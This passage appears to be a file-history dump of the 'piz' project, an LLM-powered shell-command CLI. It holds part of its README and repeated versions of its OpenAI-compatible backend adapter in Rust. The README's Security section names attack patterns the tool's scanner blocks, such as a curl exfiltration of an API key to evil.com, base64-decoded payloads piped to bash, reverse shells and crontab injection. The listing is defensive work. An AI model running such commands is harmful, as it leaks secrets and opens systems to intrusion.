descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n- `/detail` — Toggle inline command explanation on/off\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init ` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\npiz init powershell | Out-String | Invoke-Expression\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\nShell integration also provides built-in aliases for convenience:\n\n| Alias | Command | Description |\n|-------|---------|-------------|\n| `p` | `piz` | Short alias for piz |\n| `pf` | `piz fix` | Quick fix last failed command |\n| `pc` | `piz chat` | Quick enter chat mode |\n\n```bash\np list all rust files # Same as: piz list all rust files\npf # Same as: piz fix\npc # Same as: piz chat\n```\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Update\n\n### Self-update\n\n```bash\npiz update # Interactive: check latest version and upgrade\n```\n\n`piz update` checks GitHub Releases for the latest version. If a new version is available, you can choose between two upgrade methods:\n\n1. **Overwrite install** — replace the current binary in-place\n2. **Uninstall then reinstall** — remove old version first, then install new\n\nBoth methods include automatic rollback on failure.\n\n### Automatic update check\n\npiz checks for updates **automatically in the background** after each run (at most once every 24 hours, with a 5-second timeout so it never blocks). When a newer version is detected, a hint is shown:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\nNo manual configuration is needed — this works out of the box. The check state is stored in `~/.piz/update_state.json`.\n\n### Manual install (specific version)\n\nIf you want to install a specific version, download the binary directly from [GitHub Releases](https://github.com/AriesOxO/piz/releases):\n\n```bash\n# Linux/macOS — replace VERSION and TARGET as needed\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\nOr reinstall via the install script:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n\nClick to expand all 12 providers
\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n \n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 48 # Cache TTL (2 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n\nDeepSeek
\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n \n\n\nSiliconFlow
\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n \n\n\nGoogle Gemini
\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n \n\n\nOpenRouter
\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n \n\n\nMoonshot / Kimi
\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n \n\n\nZhipu / GLM
\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n \n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell) + built-in aliases\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ ├── integration.rs # Integration tests\n│ ├── llm_e2e.rs # LLM end-to-end tests (require API key, ignored by default)\n│ └── windows_shells.rs # Cross-shell tests (cmd/PowerShell/bash)\n├── homebrew/\n│ └── piz.rb # Homebrew formula template (auto-rendered by release workflow)\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (437)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING_EN.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Star History\n\n[](https://star-history.com/#AriesOxO/piz&Date)\n"}}, "src/llm/openai.rs": {"9f6d61b742783293d95b348ac1408254df447b0e": {"t": 1785746224.0572267, "n": 8480, "h": "6a93f9e3da23342e", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n let normalized = base_url.trim_end_matches('/');\n let lower = normalized.to_ascii_lowercase();\n\n if lower.ends_with(\"/chat/completions\") {\n return normalized.to_string();\n }\n\n if lower.ends_with(\"/v1\") {\n return format!(\"{}/chat/completions\", normalized);\n }\n\n format!(\"{}/v1/chat/completions\", normalized)\n }\n\n fn should_omit_temperature_by_default(&self) -> bool {\n let model = self.config.model.trim().to_ascii_lowercase();\n model.contains(\"kimi-k2.5\")\n }\n\n fn build_body(\n &self,\n messages: Vec,\n include_temperature: bool,\n ) -> serde_json::Value {\n let mut map = serde_json::Map::new();\n map.insert(\"model\".to_string(), json!(self.config.model));\n map.insert(\"messages\".to_string(), json!(messages));\n map.insert(\"max_tokens\".to_string(), json!(super::DEFAULT_MAX_TOKENS));\n map.insert(\n \"response_format\".to_string(),\n json!({\"type\": \"json_object\"}),\n );\n if include_temperature {\n map.insert(\"temperature\".to_string(), json!(super::DEFAULT_TEMPERATURE));\n }\n serde_json::Value::Object(map)\n }\n\n fn remove_top_level_field(body: &mut serde_json::Value, key: &str) -> bool {\n match body {\n serde_json::Value::Object(map) => map.remove(key).is_some(),\n _ => false,\n }\n }\n\n fn should_retry_without_temperature(err: &anyhow::Error) -> bool {\n let msg = err.to_string().to_lowercase();\n if !msg.contains(\"temperature\") {\n return false;\n }\n\n msg.contains(\"api error (400)\")\n || msg.contains(\"unsupported\")\n || msg.contains(\"not support\")\n || msg.contains(\"not allowed\")\n || msg.contains(\"unknown parameter\")\n || msg.contains(\"invalid parameter\")\n || msg.contains(\"invalid_request_error\")\n || msg.contains(\"extra fields not permitted\")\n || msg.contains(\"不支持\")\n || msg.contains(\"未知参数\")\n || msg.contains(\"无效参数\")\n }\n\n async fn send_request_with_compat(&self, mut body: serde_json::Value) -> Result {\n let first_err = match self.send_request(body.clone()).await {\n Ok(resp) => return Ok(resp),\n Err(err) => err,\n };\n\n if Self::should_retry_without_temperature(&first_err)\n && Self::remove_top_level_field(&mut body, \"temperature\")\n {\n return self.send_request(body).await.with_context(|| {\n format!(\n \"Compatibility retry without `temperature` failed after initial error: {}\",\n first_err\n )\n });\n }\n\n Err(first_err)\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n match super::handle_error_response(status, &text, attempt, \"OpenAI\") {\n Ok(msg) => {\n last_err = Some(msg);\n super::backoff_delay(attempt).await;\n continue;\n }\n Err(e) => return Err(e),\n }\n }\n\n Err(super::bail_last_err(last_err, \"OpenAI request failed\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result {\n let messages = vec![\n json!({\"role\": \"system\", \"content\": system}),\n json!({\"role\": \"user\", \"content\": user}),\n ];\n let body = self.build_body(messages, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = self.build_body(msgs, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n}\n\n#[cfg(test)]\nmod tests {\n use super::OpenAiBackend;\n use crate::config::OpenAiConfig;\n use serde_json::json;\n\n fn backend(base_url: Option<&str>, model: &str) -> OpenAiBackend {\n OpenAiBackend::new(OpenAiConfig {\n api_key: \"sk-test\".to_string(),\n model: model.to_string(),\n base_url: base_url.map(ToString::to_string),\n })\n }\n\n #[test]\n fn build_url_appends_v1_for_plain_base_url() {\n let b = backend(Some(\"https://api.deepseek.com\"), \"deepseek-chat\");\n assert_eq!(\n b.build_url(),\n \"https://api.deepseek.com/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_avoids_duplicate_v1_when_present() {\n let b = backend(Some(\"https://openrouter.ai/api/v1\"), \"auto\");\n assert_eq!(\n b.build_url(),\n \"https://openrouter.ai/api/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_accepts_full_chat_completions_url() {\n let b = backend(\n Some(\"https://example.com/custom/v1/chat/completions\"),\n \"custom-model\",\n );\n assert_eq!(\n b.build_url(),\n \"https://example.com/custom/v1/chat/completions\"\n );\n }\n\n #[test]\n fn kimi_k25_model_omits_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2.5\");\n assert!(b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn kimi_k2_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2-0711-preview\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn non_kimi_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.openai.com\"), \"gpt-4o-mini\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn remove_top_level_field_removes_temperature() {\n let mut body = json!({\"model\":\"x\", \"temperature\":0.1});\n assert!(OpenAiBackend::remove_top_level_field(\n &mut body,\n \"temperature\"\n ));\n assert!(body.get(\"temperature\").is_none());\n }\n\n #[test]\n fn retry_without_temperature_only_for_unsupported_temperature_errors() {\n let err = anyhow::anyhow!(\n \"{}\",\n r#\"OpenAI API error (400): {\"error\":\"unsupported parameter: temperature\"}\"#\n );\n assert!(OpenAiBackend::should_retry_without_temperature(&err));\n\n let other = anyhow::anyhow!(\"{}\", r#\"OpenAI API error (400): {\"error\":\"invalid model\"}\"#);\n assert!(!OpenAiBackend::should_retry_without_temperature(&other));\n }\n}\n"}, "05f5d0f1db914ebd02a14f93c17d2320737ceae1": {"t": 1785760758.4546406, "n": 8480, "h": "6a93f9e3da23342e", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n let normalized = base_url.trim_end_matches('/');\n let lower = normalized.to_ascii_lowercase();\n\n if lower.ends_with(\"/chat/completions\") {\n return normalized.to_string();\n }\n\n if lower.ends_with(\"/v1\") {\n return format!(\"{}/chat/completions\", normalized);\n }\n\n format!(\"{}/v1/chat/completions\", normalized)\n }\n\n fn should_omit_temperature_by_default(&self) -> bool {\n let model = self.config.model.trim().to_ascii_lowercase();\n model.contains(\"kimi-k2.5\")\n }\n\n fn build_body(\n &self,\n messages: Vec,\n include_temperature: bool,\n ) -> serde_json::Value {\n let mut map = serde_json::Map::new();\n map.insert(\"model\".to_string(), json!(self.config.model));\n map.insert(\"messages\".to_string(), json!(messages));\n map.insert(\"max_tokens\".to_string(), json!(super::DEFAULT_MAX_TOKENS));\n map.insert(\n \"response_format\".to_string(),\n json!({\"type\": \"json_object\"}),\n );\n if include_temperature {\n map.insert(\"temperature\".to_string(), json!(super::DEFAULT_TEMPERATURE));\n }\n serde_json::Value::Object(map)\n }\n\n fn remove_top_level_field(body: &mut serde_json::Value, key: &str) -> bool {\n match body {\n serde_json::Value::Object(map) => map.remove(key).is_some(),\n _ => false,\n }\n }\n\n fn should_retry_without_temperature(err: &anyhow::Error) -> bool {\n let msg = err.to_string().to_lowercase();\n if !msg.contains(\"temperature\") {\n return false;\n }\n\n msg.contains(\"api error (400)\")\n || msg.contains(\"unsupported\")\n || msg.contains(\"not support\")\n || msg.contains(\"not allowed\")\n || msg.contains(\"unknown parameter\")\n || msg.contains(\"invalid parameter\")\n || msg.contains(\"invalid_request_error\")\n || msg.contains(\"extra fields not permitted\")\n || msg.contains(\"不支持\")\n || msg.contains(\"未知参数\")\n || msg.contains(\"无效参数\")\n }\n\n async fn send_request_with_compat(&self, mut body: serde_json::Value) -> Result {\n let first_err = match self.send_request(body.clone()).await {\n Ok(resp) => return Ok(resp),\n Err(err) => err,\n };\n\n if Self::should_retry_without_temperature(&first_err)\n && Self::remove_top_level_field(&mut body, \"temperature\")\n {\n return self.send_request(body).await.with_context(|| {\n format!(\n \"Compatibility retry without `temperature` failed after initial error: {}\",\n first_err\n )\n });\n }\n\n Err(first_err)\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n match super::handle_error_response(status, &text, attempt, \"OpenAI\") {\n Ok(msg) => {\n last_err = Some(msg);\n super::backoff_delay(attempt).await;\n continue;\n }\n Err(e) => return Err(e),\n }\n }\n\n Err(super::bail_last_err(last_err, \"OpenAI request failed\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result {\n let messages = vec![\n json!({\"role\": \"system\", \"content\": system}),\n json!({\"role\": \"user\", \"content\": user}),\n ];\n let body = self.build_body(messages, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = self.build_body(msgs, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n}\n\n#[cfg(test)]\nmod tests {\n use super::OpenAiBackend;\n use crate::config::OpenAiConfig;\n use serde_json::json;\n\n fn backend(base_url: Option<&str>, model: &str) -> OpenAiBackend {\n OpenAiBackend::new(OpenAiConfig {\n api_key: \"sk-test\".to_string(),\n model: model.to_string(),\n base_url: base_url.map(ToString::to_string),\n })\n }\n\n #[test]\n fn build_url_appends_v1_for_plain_base_url() {\n let b = backend(Some(\"https://api.deepseek.com\"), \"deepseek-chat\");\n assert_eq!(\n b.build_url(),\n \"https://api.deepseek.com/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_avoids_duplicate_v1_when_present() {\n let b = backend(Some(\"https://openrouter.ai/api/v1\"), \"auto\");\n assert_eq!(\n b.build_url(),\n \"https://openrouter.ai/api/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_accepts_full_chat_completions_url() {\n let b = backend(\n Some(\"https://example.com/custom/v1/chat/completions\"),\n \"custom-model\",\n );\n assert_eq!(\n b.build_url(),\n \"https://example.com/custom/v1/chat/completions\"\n );\n }\n\n #[test]\n fn kimi_k25_model_omits_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2.5\");\n assert!(b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn kimi_k2_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2-0711-preview\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn non_kimi_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.openai.com\"), \"gpt-4o-mini\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn remove_top_level_field_removes_temperature() {\n let mut body = json!({\"model\":\"x\", \"temperature\":0.1});\n assert!(OpenAiBackend::remove_top_level_field(\n &mut body,\n \"temperature\"\n ));\n assert!(body.get(\"temperature\").is_none());\n }\n\n #[test]\n fn retry_without_temperature_only_for_unsupported_temperature_errors() {\n let err = anyhow::anyhow!(\n \"{}\",\n r#\"OpenAI API error (400): {\"error\":\"unsupported parameter: temperature\"}\"#\n );\n assert!(OpenAiBackend::should_retry_without_temperature(&err));\n\n let other = anyhow::anyhow!(\"{}\", r#\"OpenAI API error (400): {\"error\":\"invalid model\"}\"#);\n assert!(!OpenAiBackend::should_retry_without_temperature(&other));\n }\n}\n"}, "1ded0af3bb97c6ee6a01e404d3cc247cdfe81a9a": {"t": 1785760759.6404235, "n": 8436, "h": "6f450f8a1c307c85", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n let normalized = base_url.trim_end_matches('/');\n let lower = normalized.to_ascii_lowercase();\n\n if lower.ends_with(\"/chat/completions\") {\n return normalized.to_string();\n }\n\n if lower.ends_with(\"/v1\") {\n return format!(\"{}/chat/completions\", normalized);\n }\n\n format!(\"{}/v1/chat/completions\", normalized)\n }\n\n fn should_omit_temperature_by_default(&self) -> bool {\n let model = self.config.model.trim().to_ascii_lowercase();\n model.contains(\"kimi-k2.5\")\n }\n\n fn build_body(\n &self,\n messages: Vec,\n include_temperature: bool,\n ) -> serde_json::Value {\n let mut map = serde_json::Map::new();\n map.insert(\"model\".to_string(), json!(self.config.model));\n map.insert(\"messages\".to_string(), json!(messages));\n map.insert(\"max_tokens\".to_string(), json!(super::DEFAULT_MAX_TOKENS));\n map.insert(\"response_format\".to_string(), json!({\"type\": \"json_object\"}));\n if include_temperature {\n map.insert(\n \"temperature\".to_string(),\n json!(super::DEFAULT_TEMPERATURE),\n );\n }\n serde_json::Value::Object(map)\n }\n\n fn remove_top_level_field(body: &mut serde_json::Value, key: &str) -> bool {\n match body {\n serde_json::Value::Object(map) => map.remove(key).is_some(),\n _ => false,\n }\n }\n\n fn should_retry_without_temperature(err: &anyhow::Error) -> bool {\n let msg = err.to_string().to_lowercase();\n if !msg.contains(\"temperature\") {\n return false;\n }\n\n msg.contains(\"api error (400)\")\n || msg.contains(\"unsupported\")\n || msg.contains(\"not support\")\n || msg.contains(\"not allowed\")\n || msg.contains(\"unknown parameter\")\n || msg.contains(\"invalid parameter\")\n || msg.contains(\"invalid_request_error\")\n || msg.contains(\"extra fields not permitted\")\n || msg.contains(\"不支持\")\n || msg.contains(\"未知参数\")\n || msg.contains(\"无效参数\")\n }\n\n async fn send_request_with_compat(&self, mut body: serde_json::Value) -> Result {\n let first_err = match self.send_request(body.clone()).await {\n Ok(resp) => return Ok(resp),\n Err(err) => err,\n };\n\n if Self::should_retry_without_temperature(&first_err)\n && Self::remove_top_level_field(&mut body, \"temperature\")\n {\n return self.send_request(body).await.with_context(|| {\n format!(\n \"Compatibility retry without `temperature` failed after initial error: {}\",\n first_err\n )\n });\n }\n\n Err(first_err)\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n match super::handle_error_response(status, &text, attempt, \"OpenAI\") {\n Ok(msg) => {\n last_err = Some(msg);\n super::backoff_delay(attempt).await;\n continue;\n }\n Err(e) => return Err(e),\n }\n }\n\n Err(super::bail_last_err(last_err, \"OpenAI request failed\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result {\n let messages = vec![\n json!({\"role\": \"system\", \"content\": system}),\n json!({\"role\": \"user\", \"content\": user}),\n ];\n let body = self.build_body(messages, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = self.build_body(msgs, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n}\n\n#[cfg(test)]\nmod tests {\n use super::OpenAiBackend;\n use crate::config::OpenAiConfig;\n use serde_json::json;\n\n fn backend(base_url: Option<&str>, model: &str) -> OpenAiBackend {\n OpenAiBackend::new(OpenAiConfig {\n api_key: \"sk-test\".to_string(),\n 